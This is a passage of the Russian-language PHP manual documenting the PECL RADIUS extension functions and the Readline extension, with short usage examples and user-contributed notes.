printf ("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

switch ($attr) {

case RADIUS_FRAMED_IP_ADDRESS:
$ip = radius_cvt_addr($data);
echo "IP: $ip<br>\n";
break;

case RADIUS_FRAMED_IP_NETMASK:
$mask = radius_cvt_addr($data);
echo "Маска: $mask<br>\n";
break;
}
}
?>

Смотрите также

  • radius_cvt_int() - Преобразует необработанные данные в целое число
  • radius_cvt_string() - Преобразует необработанные данные в строку

User Contributed Notes

There are no user contributed notes for this page.


Преобразует необработанные данные в целое число

  • « radius_cvt_addr
  • radius_cvt_string »
  • PHP Manual
  • Функции Radius
  • Преобразует необработанные данные в целое число

radius_cvt_int

(PECL radius >= 1.1.0)

radius_cvt_int — Преобразует необработанные данные в целое число

Описание

radius_cvt_int(string $data): int

Преобразует необработанные данные в целое число

Список параметров

data

Входные данные

Возвращаемые значения

Возвращает целое число, полученное из данных.

Примеры

Пример #1 Пример использования radius_cvt_int()

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

switch ($attr) {

case RADIUS_FRAMED_MTU:
$mtu = radius_cvt_int($data);
echo "Максимальная единица передачи: $mtu<br>\n";
break;
}
}
?>

Смотрите также

  • radius_cvt_addr() - Преобразует необработанные данные в IP-адрес
  • radius_cvt_string() - Преобразует необработанные данные в строку

User Contributed Notes

There are no user contributed notes for this page.


Преобразует необработанные данные в строку

  • « radius_cvt_int
  • radius_demangle_mppe_key »
  • PHP Manual
  • Функции Radius
  • Преобразует необработанные данные в строку

radius_cvt_string

(PECL radius >= 1.1.0)

radius_cvt_string — Преобразует необработанные данные в строку

Описание

radius_cvt_string(string $data): string

Преобразует необработанные данные в строку

Список параметров

data

Входные данные

Возвращаемые значения

Возвращает строку, полученную из данных.

Примеры

Пример #1 Пример использования radius_cvt_string()

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

switch ($attr) {

case RADIUS_FILTER_ID:
$id = radius_cvt_string($data);
echo "Идентификатор фильтра: $id<br>\n";
break;
}
}
?>

Смотрите также

  • radius_cvt_addr() - Преобразует необработанные данные в IP-адрес
  • radius_cvt_int() - Преобразует необработанные данные в целое число

User Contributed Notes

There are no user contributed notes for this page.


Получает mppe-ключи из искажённых данных

  • « radius_cvt_string
  • radius_demangle »
  • PHP Manual
  • Функции Radius
  • Получает mppe-ключи из искажённых данных

radius_demangle_mppe_key

(PECL radius >= 1.2.0)

radius_demangle_mppe_key — Получает mppe-ключи из искажённых данных

Описание

radius_demangle_mppe_key(resource $radius_handle, string $mangled): string

При использовании MPPE с MS-CHAPv2, ключи отправляемые и получаемые ключи искажаются (смотрите » RFC 2548), однако эта функция бесполезна, поскольку я не думаю, что есть или будет реализация PPTP-MPPE в PHP.

Список параметров

radius_handle

Ресурс RADIUS.

mangled

Искажённые данные, которые необходимо деформировать

Возвращаемые значения

Возвращает деформированную строку или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Расшифровывает данные

  • « radius_demangle_mppe_key
  • radius_get_attr »
  • PHP Manual
  • Функции Radius
  • Расшифровывает данные

radius_demangle

(PECL radius >= 1.2.0)

radius_demangle — Расшифровывает данные

Описание

radius_demangle(resource $radius_handle, string $mangled): string

Некоторые данные (пароли, MS-CHAPv1 MPPE-ключи) искажены по соображениям безопасности и их необходимо расшифровать, прежде чем вы сможете их использовать.

Список параметров

radius_handle

Ресурс RADIUS.

mangled

Искажённые данные, которые необходимо расшифровать.

Возвращаемые значения

Возвращает расшифрованную строку или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает атрибут

  • « radius_demangle
  • radius_get_tagged_attr_data »
  • PHP Manual
  • Функции Radius
  • Извлекает атрибут

radius_get_attr

(PECL radius >= 1.1.0)

radius_get_attr — Извлекает атрибут

Описание

radius_get_attr(resource $radius_handle): mixed

Как и запросы Radius, каждый ответ может содержать ноль или более атрибутов. После того, как ответ был успешно получен от radius_send_request(), его атрибуты могут быть извлечены один за другим с помощью radius_get_attr(). Каждый раз, когда вызывается radius_get_attr(), функция получает следующий атрибут из текущего ответа.

Список параметров

radius_handle

Ресурс RADIUS.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий тип атрибута и данные или номер ошибки <= 0.

Примеры

Пример #1 Пример использования radius_get_attr()

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];
printf("Получен атрибут: %d %d байт %s\n", $attr, strlen($data), bin2hex($data));
}
?>

Смотрите также

  • radius_put_attr() - Присоединяет бинарный атрибут
  • radius_get_vendor_attr() - Извлекает атрибут, зависящий от поставщика
  • radius_put_vendor_attr() - Присоединяет бинарный атрибут, зависящий от поставщика
  • radius_send_request() - Отправляет запрос и ждёт ответ

User Contributed Notes

There are no user contributed notes for this page.


Извлекает данные из помеченного атрибута

  • « radius_get_attr
  • radius_get_tagged_attr_tag »
  • PHP Manual
  • Функции Radius
  • Извлекает данные из помеченного атрибута

radius_get_tagged_attr_data

(PECL radius >= 1.3.0)

radius_get_tagged_attr_data — Извлекает данные из помеченного атрибута

Описание

radius_get_tagged_attr_data(string $data): string|false

Если из radius_get_attr() был возвращён тегированный атрибут, radius_get_tagged_attr_data() вернёт тег из атрибута.

Список параметров

data

Тегированный атрибут, который нужно раскодировать.

Возвращаемые значения

Возвращает данные из тегированного атрибута или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования radius_get_tagged_attr_data()

<?php
while ($resa = radius_get_attr($res)) {
if (!is_array($resa)) {
printf ("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

$tag = radius_get_tagged_attr_tag($data);
$value = radius_get_tagged_attr_data($data);

printf("Получен тегированный атрибут с тегом %d и значением %s\n", $tag, $value);
}
?>

Смотрите также

  • radius_get_attr() - Извлекает атрибут
  • radius_get_tagged_attr_tag() - Извлекает тег из помеченного атрибута

User Contributed Notes

There are no user contributed notes for this page.


Извлекает тег из помеченного атрибута

  • « radius_get_tagged_attr_data
  • radius_get_vendor_attr »
  • PHP Manual
  • Функции Radius
  • Извлекает тег из помеченного атрибута

radius_get_tagged_attr_tag

(PECL radius >= 1.3.0)

radius_get_tagged_attr_tag — Извлекает тег из помеченного атрибута

Описание

radius_get_tagged_attr_tag(string $data): int|false

Если из radius_get_attr() был возвращён тегированный атрибут, radius_get_tagged_attr_data() вернёт тег из атрибута.

Список параметров

data

Тегированный атрибут, который нужно раскодировать.

Возвращаемые значения

Возвращает тег из тегированного атрибута или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования radius_get_tagged_attr_tag()

<?php
while ($resa = radius_get_attr($res)) {
if (!is_array($resa)) {
printf ("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

$tag = radius_get_tagged_attr_tag($data);
$value = radius_get_tagged_attr_data($data);

printf("Получен тегированный атрибут с тегом %d и значением %s\n", $tag, $value);
}
?>

Смотрите также

  • radius_get_attr() - Извлекает атрибут
  • radius_get_tagged_attr_data() - Извлекает данные из помеченного атрибута

User Contributed Notes

There are no user contributed notes for this page.


Извлекает атрибут, зависящий от поставщика

  • « radius_get_tagged_attr_tag
  • radius_put_addr »
  • PHP Manual
  • Функции Radius
  • Извлекает атрибут, зависящий от поставщика

radius_get_vendor_attr

(PECL radius >= 1.1.0)

radius_get_vendor_attr — Извлекает атрибут, зависящий от поставщика

Описание

radius_get_vendor_attr(string $data): array

Если radius_get_attr() вернула RADIUS_VENDOR_SPECIFIC, radius_get_vendor_attr() может быть вызвана для определения поставщика.

Список параметров

data

Входные данные

Возвращаемые значения

Возвращает ассоциативный массив, содержащий тип атрибута, поставщика и данные или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования radius_get_vendor_attr()

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Ошибка при получении атрибута: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];
printf("Получен атрибут:%d %d байт %s\n", $attr, strlen($data), bin2hex($data));
if ($attr == RADIUS_VENDOR_SPECIFIC) {

$resv = radius_get_vendor_attr($data);
if (is_array($resv)) {
$vendor = $resv['vendor'];
$attrv = $resv['attr'];
$datav = $resv['data'];
printf("Получен атрибут поставщика:%d %d байт %s\n", $attrv, strlen($datav), bin2hex($datav));
}

}
}
?>

Смотрите также

  • radius_get_attr() - Извлекает атрибут
  • radius_put_vendor_attr() - Присоединяет бинарный атрибут, зависящий от поставщика

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет атрибут IP-адреса

  • « radius_get_vendor_attr
  • radius_put_attr »
  • PHP Manual
  • Функции Radius
  • Присоединяет атрибут IP-адреса

radius_put_addr

(PECL radius >= 1.1.0)

radius_put_addr — Присоединяет атрибут IP-адреса

Описание

radius_put_addr(
resource $radius_handle,
int $type,
string $addr,
int $options = 0,
int $tag = ?
): bool

Присоединяет атрибут IP-адреса к текущему запросу RADIUS.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

type

Тип атрибута.

addr

Адрес IPv4 в виде строки, например, 10.0.0.1.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

User Contributed Notes

Do-not-spam at me dot nospam dot com 20-Sep-2018 12:43
radius_put_addr() doesn't support IPv6 yet

A workaround is to use radius_put_string when using IPv6


Присоединяет бинарный атрибут

  • « radius_put_addr
  • radius_put_int »
  • PHP Manual
  • Функции Radius
  • Присоединяет бинарный атрибут

radius_put_attr

(PECL radius >= 1.1.0)

radius_put_attr — Присоединяет бинарный атрибут

Описание

radius_put_attr(
resource $radius_handle,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Присоединяет бинарный атрибут к текущему запросу RADIUS.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

type

Тип атрибута.

value

Значение атрибута, которое будет рассматриваться как необработанная двоичная строка.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

Примеры

Пример #1 Пример использования radius_put_attr()

<?php
mt_srand(time());
$chall = mt_rand();
$chapval = md5(pack('Ca*',1 , 'sepp' . $chall));
$pass = pack('CH*', 1, $chapval);
if (!radius_put_attr($res, RADIUS_CHAP_PASSWORD, $pass)) {
echo 'Ошибка Radius:' . radius_strerror($res). "\n<br />";
exit;
}
?>

Смотрите также

  • radius_get_attr() - Извлекает атрибут
  • radius_get_vendor_attr() - Извлекает атрибут, зависящий от поставщика
  • radius_put_vendor_attr() - Присоединяет бинарный атрибут, зависящий от поставщика

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет целочисленный атрибут

  • « radius_put_attr
  • radius_put_string »
  • PHP Manual
  • Функции Radius
  • Присоединяет целочисленный атрибут

radius_put_int

(PECL radius >= 1.1.0)

radius_put_int — Присоединяет целочисленный атрибут

Описание

radius_put_int(
resource $radius_handle,
int $type,
int $value,
int $options = 0,
int $tag = ?
): bool

Присоединяет целочисленный атрибут к текущему запросу RADIUS.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

type

Тип атрибута.

value

Значение атрибута.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

Примеры

Пример #1 Пример использования radius_put_int()

<?php
if (!radius_put_int($res, RAD_FRAMED_PROTOCOL, RAD_PPP)) {
echo 'Ошибка Radius:' . radius_strerror($res). "\n<br />";
exit;
}
?>

Смотрите также

  • radius_put_string() - Присоединяет строковый атрибут
  • radius_put_vendor_int() - Присоединяет целочисленный атрибут, зависящий от поставщика
  • radius_put_vendor_string() - Присоединяет строковый атрибут, зависящий от поставщика

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет строковый атрибут

  • « radius_put_int
  • radius_put_vendor_addr »
  • PHP Manual
  • Функции Radius
  • Присоединяет строковый атрибут

radius_put_string

(PECL radius >= 1.1.0)

radius_put_string — Присоединяет строковый атрибут

Описание

radius_put_string(
resource $radius_handle,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Присоединяет строковый атрибут к текущему запросу RADIUS. В общем, radius_put_attr() - более полезная функция для присоединения строковых атрибутов, поскольку она бинарно безопасна.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

type

Тип атрибута.

value

Значение атрибута. Базовая библиотека ожидает, что это значение будет иметь нулевой символ в конце, поэтому этот параметр небезопасен для двоичного кода.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

Примеры

Пример #1 Пример использования radius_put_string()

<?php
if (!radius_put_string($res, RADIUS_USER_NAME, 'billy')) {
echo 'Ошибка Radius:' . radius_strerror($res). "\n<br />";
exit;
}
?>

Смотрите также

  • radius_put_int() - Присоединяет целочисленный атрибут
  • radius_put_vendor_int() - Присоединяет целочисленный атрибут, зависящий от поставщика
  • radius_put_vendor_string() - Присоединяет строковый атрибут, зависящий от поставщика

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет атрибут IP-адреса конкретного поставщика

  • « radius_put_string
  • radius_put_vendor_attr »
  • PHP Manual
  • Функции Radius
  • Присоединяет атрибут IP-адреса конкретного поставщика

radius_put_vendor_addr

(PECL radius >= 1.1.0)

radius_put_vendor_addr — Присоединяет атрибут IP-адреса конкретного поставщика

Описание

radius_put_vendor_addr(
resource $radius_handle,
int $vendor,
int $type,
string $addr
): bool

Присоединяет атрибут поставщика IP-адреса к текущему запросу RADIUS.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

vendor

ID производителя (vendor).

type

Тип атрибута.

addr

Адрес IPv4 в виде строки, например, 10.0.0.1.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет бинарный атрибут, зависящий от поставщика

  • « radius_put_vendor_addr
  • radius_put_vendor_int »
  • PHP Manual
  • Функции Radius
  • Присоединяет бинарный атрибут, зависящий от поставщика

radius_put_vendor_attr

(PECL radius >= 1.1.0)

radius_put_vendor_attr — Присоединяет бинарный атрибут, зависящий от поставщика

Описание

radius_put_vendor_attr(
resource $radius_handle,
int $vendor,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Присоединяет к текущему запросу RADIUS бинарный атрибут, зависящий от поставщика.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

vendor

ID производителя (vendor).

type

Тип атрибута.

value

Значение атрибута, которое будет рассматриваться как необработанная двоичная строка.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

Примеры

Пример #1 Пример использования radius_put_vendor_attr()

<?php
if (!radius_put_vendor_attr($res, RADIUS_VENDOR_MICROSOFT, RAD_MICROSOFT_MS_CHAP_CHALLENGE, $challenge)) {
echo 'Ошибка Radius:' . radius_strerror($res). "\n<br />";
exit;
}
?>

Смотрите также

  • radius_get_vendor_attr() - Извлекает атрибут, зависящий от поставщика

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет целочисленный атрибут, зависящий от поставщика

  • « radius_put_vendor_attr
  • radius_put_vendor_string »
  • PHP Manual
  • Функции Radius
  • Присоединяет целочисленный атрибут, зависящий от поставщика

radius_put_vendor_int

(PECL radius >= 1.1.0)

radius_put_vendor_int — Присоединяет целочисленный атрибут, зависящий от поставщика

Описание

radius_put_vendor_int(
resource $radius_handle,
int $vendor,
int $type,
int $value,
int $options = 0,
int $tag = ?
): bool

Присоединяет к текущему запросу RADIUS целочисленный атрибут, зависящий от поставщика.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

vendor

ID производителя (vendor).

type

Тип атрибута.

value

Значение атрибута.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

Смотрите также

  • radius_put_vendor_string() - Присоединяет строковый атрибут, зависящий от поставщика

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет строковый атрибут, зависящий от поставщика

  • « radius_put_vendor_int
  • radius_request_authenticator »
  • PHP Manual
  • Функции Radius
  • Присоединяет строковый атрибут, зависящий от поставщика

radius_put_vendor_string

(PECL radius >= 1.1.0)

radius_put_vendor_string — Присоединяет строковый атрибут, зависящий от поставщика

Описание

radius_put_vendor_string(
resource $radius_handle,
int $vendor,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Присоединяет к текущему запросу RADIUS строковый атрибут, зависящий от поставщика. В общем, radius_put_vendor_attr() - более полезная функция для присоединения строковых атрибутов, поскольку она бинарно безопасна.

Замечание:

Перед вызовом данной функции необходимо создать запрос с помощью функции radius_create_request().

Список параметров

radius_handle

Ресурс RADIUS.

vendor

ID производителя (vendor).

type

Тип атрибута.

value

Значение атрибута. Базовая библиотека ожидает, что это значение будет иметь нулевой символ в конце, поэтому этот параметр небезопасен для двоичного кода.

options

Битовая маска опций атрибута. В качестве значений можно использовать RADIUS_OPTION_TAGGED и RADIUS_OPTION_SALT.

tag

Тег атрибута. Данный параметр игнорируется, если не установлена опция RADIUS_OPTION_TAGGED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL radius 1.3.0 | Добавлены параметры options и tag.

Смотрите также

  • radius_put_vendor_int() - Присоединяет целочисленный атрибут, зависящий от поставщика

User Contributed Notes

Horol 17-Oct-2019 08:42
When vendor specific string is not included, you can define it and use in your code:
<?php
define('RADIUS_VENDOR_CISCO', 9);
define('RADIUS_PROXY_STATE', 33);
radius_put_vendor_string($res, RADIUS_VENDOR_CISCO, RADIUS_PROXY_STATE, "h323-gw-id=123456");
?>

List of RADIUS Attribute Types:
https://www.iana.org/assignments/radius-types/radius-types.xhtml#radius-types-2

List of Vendor ID's:
https://www.iana.org/assignments/enterprise-numbers/enterprise-numbers
sebastian at sebsoft dot nl 30-Oct-2008 08:04
In the PECL sources, a certain vendor specific string is included for Microsoft systems.
However, if you just want to pass something entirely different, like Cisco specifics, that's possible.
The fact that this isn't included in the sources of the PECL doesn't mean you can't use them.

Better said, everything there is in the dictionary of your Radius server can be put in as string.

Like the following example to write a h323-gw-id:
<?php
$res = radius_acct_open ();
radius_add_server($res,'127.0.0.1', 1813, 'mysecret', 10, 2);
radius_create_request($res, RADIUS_ACCOUNTING_REQUEST);
radius_put_vendor_string($res,9,33 ,"h323-gw-id=123456");

$result = radius_send_request($res);
?>


Возвращает аутентификатор запроса

  • « radius_put_vendor_string
  • radius_salt_encrypt_attr »
  • PHP Manual
  • Функции Radius
  • Возвращает аутентификатор запроса

radius_request_authenticator

(PECL radius >= 1.1.0)

radius_request_authenticator — Возвращает аутентификатор запроса

Описание

radius_request_authenticator(resource $radius_handle): string

Аутентификатор запроса необходим для распознавания искажённых данных, таких как пароли и ключи шифрования.

Список параметров

radius_handle

Ресурс RADIUS.

Возвращаемые значения

Возвращает аутентификатор запроса в виде строки или false в случае возникновения ошибки.

Смотрите также

  • radius_demangle() - Расшифровывает данные

User Contributed Notes

There are no user contributed notes for this page.


Зашифровывает значение с помощью соли

  • « radius_request_authenticator
  • radius_send_request »
  • PHP Manual
  • Функции Radius
  • Зашифровывает значение с помощью соли

radius_salt_encrypt_attr

(PECL radius >= 1.3.0)

radius_salt_encrypt_attr — Зашифровывает значение с помощью соли

Описание

radius_salt_encrypt_attr(resource $radius_handle, string $data): string|false

Применяет алгоритм шифрования RADIUS к заданному значению.

Как правило, это делается автоматически путём предоставления опции RADIUS_OPTION_SALT функции установки атрибута, но эту функцию можно использовать, если требуется создание низкоуровневого запроса.

Список параметров

data

Данные, которые необходимо зашифровать с помощью соли.

Возвращаемые значения

Возвращает данные, зашифрованные с помощью соли или false в случае возникновения ошибки.

Смотрите также

  • radius_put_addr() - Присоединяет атрибут IP-адреса
  • radius_put_attr() - Присоединяет бинарный атрибут
  • radius_put_int() - Присоединяет целочисленный атрибут
  • radius_put_string() - Присоединяет строковый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Отправляет запрос и ждёт ответ

  • « radius_salt_encrypt_attr
  • radius_server_secret »
  • PHP Manual
  • Функции Radius
  • Отправляет запрос и ждёт ответ

radius_send_request

(PECL radius >= 1.1.0)

radius_send_request — Отправляет запрос и ждёт ответ

Описание

radius_send_request(resource $radius_handle): int

После создания запроса Radius отправляет его с помощью radius_send_request().

Функция radius_send_request() отправляет запрос и ожидает корректный ответ, повторяя попытки с определёнными серверами в циклическом режиме по мере необходимости.

Список параметров

radius_handle

Ресурс RADIUS.

Возвращаемые значения

Если получен корректный ответ, radius_send_request() возвращает код Radius, который указывает тип ответа. Обычно это RADIUS_ACCESS_ACCEPT, RADIUS_ACCESS_REJECT или RADIUS_ACCESS_CHALLENGE. Если корректный ответ не получен, radius_send_request() возвращает false.

Смотрите также

  • radius_create_request() - Создаёт учётную запись или запрос аутентификации

User Contributed Notes

johnny at gmail dot com 07-Apr-2017 02:15
The documentation does not state that the return value could also be other constants like RADIUS_DISCONNECT_ACK and more.


Возвращает общий секрет

  • « radius_send_request
  • radius_strerror »
  • PHP Manual
  • Функции Radius
  • Возвращает общий секрет

radius_server_secret

(PECL radius >= 1.1.0)

radius_server_secret — Возвращает общий секрет

Описание

radius_server_secret(resource $radius_handle): string

Общий секрет необходим как соль для разборки искажённых данных, таких как пароли и ключи шифрования.

Список параметров

radius_handle

Ресурс RADIUS.

Возвращаемые значения

Возвращает общий секрет сервера в виде строки или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сообщение об ошибке

  • « radius_server_secret
  • Модули для работы с командной строкой »
  • PHP Manual
  • Функции Radius
  • Возвращает сообщение об ошибке

radius_strerror

(PECL radius >= 1.1.0)

radius_strerror — Возвращает сообщение об ошибке

Описание

radius_strerror(resource $radius_handle): string

В случае возникновения ошибки функций radius, они записывают сообщение об ошибке. Это сообщение можно получить с помощью данной функции.

Список параметров

radius_handle

Ресурс RADIUS.

Возвращаемые значения

Возвращает сообщения об ошибках в виде строки из функций radius, завершившихся ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с командной строкой

  • Readline — GNU Readline
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Readline

User Contributed Notes

alvaro at demogracia dot com 11-May-2011 05:13
None of these extensions (Newt, Ncurses or Readline) work natively on Windows platforms. Ncurses is available for Cygwin, the other two do not mention it explicitly.


GNU Readline

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Readline
    • readline_add_history — Добавляет строку в историю
    • readline_callback_handler_install — Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление
    • readline_callback_handler_remove — Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал
    • readline_callback_read_char — Читает символ и информирует callback-функцию readline, что получена строка
    • readline_clear_history — Очищает историю команд
    • readline_completion_function — Зарегистрировать функцию автодополнения
    • readline_info — Устанавливает/читает различные внутренние переменные readline
    • readline_list_history — Список истории команд
    • readline_on_new_line — Информирует readline, что курсор переместился на новую строку
    • readline_read_history — Прочитать историю команд из файла
    • readline_redisplay — Перерисовать экран
    • readline_write_history — Записать историю команд в файл
    • readline — Читает строку

User Contributed Notes

list2011 at lunch dot za dot net 02-Feb-2012 10:11
When readline is enabled, php switches the terminal mode to accept line-buffered input.  This means that the proper way to use the cli when you pipe to an interactive command is to explicitly specify that php is not using the terminal for input:

php somescript.php < /dev/null | less


Введение

Функции readline реализуют интерфейс к библиотеке GNU Readline. Это функции, предоставляющие редактируемые командные строки. К примеру, Bash позволяет вам использовать стрелки для навигации по строке или для прокрутки истории команд. Так как эта библиотека по самой своей сути интерактивна, то нормально использовать её можно разве что для скриптов, запускающихся в командной строке. А для веб-приложений она не особо подходит.

Начиная с PHP 7.1.0 модуль работает в Windows.

Предостережение

Модуль readline не потокобезопасен! Соответственно крайне не рекомендуется использовать его с потокобезопасными SAPI (например, Apache mod_winnt).

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования этих функций у вас должен быть установлен пакет libreadline. Найти его можно на домашней странице проекта » http://cnswww.cns.cwru.edu/~chet/readline/rltop.html. Он поддерживается автором Bash Четом Реми (Chet Ramey).

Также можно использовать альтернативную библиотеку libedit. Основное отличие в используемой лицензии. Для readline это GPL, а для libedit - BSD. Скачать её можно здесь » http://www.thrysoee.dk/editline/.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования модуля вам нужно скомпилировать CGI или CLI версию PHP с поддержкой readline. Необходимо сконфигурировать PHP с опцией --with-readline[=DIR]. Если же вы хотите использовать альтернативную библиотеку libedit, то конфигурировать надо с опцией --with-libedit[=DIR].

В Windows модуль доступен с версии PHP 7.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Readline
Имя | По умолчанию | Место изменения | Список изменений
cli.pager | "" | PHP_INI_ALL |
cli.prompt | "\\b \\> " | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

cli.pager string

Внешняя утилита для отображения вывода в командную строку.

cli.prompt string

Подсказка командной строки.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

READLINE_LIB (string)
Библиотека, которая используется для поддержки readline; в настоящее время либо readline, либо libedit.

User Contributed Notes

There are no user contributed notes for this page.


Функции Readline

Содержание

  • readline_add_history — Добавляет строку в историю
  • readline_callback_handler_install — Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление
  • readline_callback_handler_remove — Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал
  • readline_callback_read_char — Читает символ и информирует callback-функцию readline, что получена строка
  • readline_clear_history — Очищает историю команд
  • readline_completion_function — Зарегистрировать функцию автодополнения
  • readline_info — Устанавливает/читает различные внутренние переменные readline
  • readline_list_history — Список истории команд
  • readline_on_new_line — Информирует readline, что курсор переместился на новую строку
  • readline_read_history — Прочитать историю команд из файла
  • readline_redisplay — Перерисовать экран
  • readline_write_history — Записать историю команд в файл
  • readline — Читает строку

User Contributed Notes

jcastromail at yahoo dot es 18-Feb-2022 06:57
Windows.
To the current date,  PHP 8.1 64bits under Windows does not support all the functions:

supported:
readline_add_history
readline_clear_history
readline_completion_function
readline_info
readline_list_history
readline_read_history
readline_write_history
readline

no supported: (the function is not even defined)

readline_callback_handler_install
readline_callback_handler_remove
readline_callback_read_char
readline_on_new_line
readline_redisplay

if you want to read a key in windows (without blocking), you can use the next code:

$out='';
$ret='';
$keys='1234567890abcdefghijklmnopqrstuvwxyz'."a";
$default="a";
while(true) {
    exec("choice /N /C $keys /D $default /T 1",$out,$ret);
    if($out[0]!=="a") {
        var_dump($out[0]);
    }
    $out=[];
}

It is not elegant and it calls choice every 1 second but it does the job (at least with some keys).
david at acz dot org 28-Feb-2007 09:07
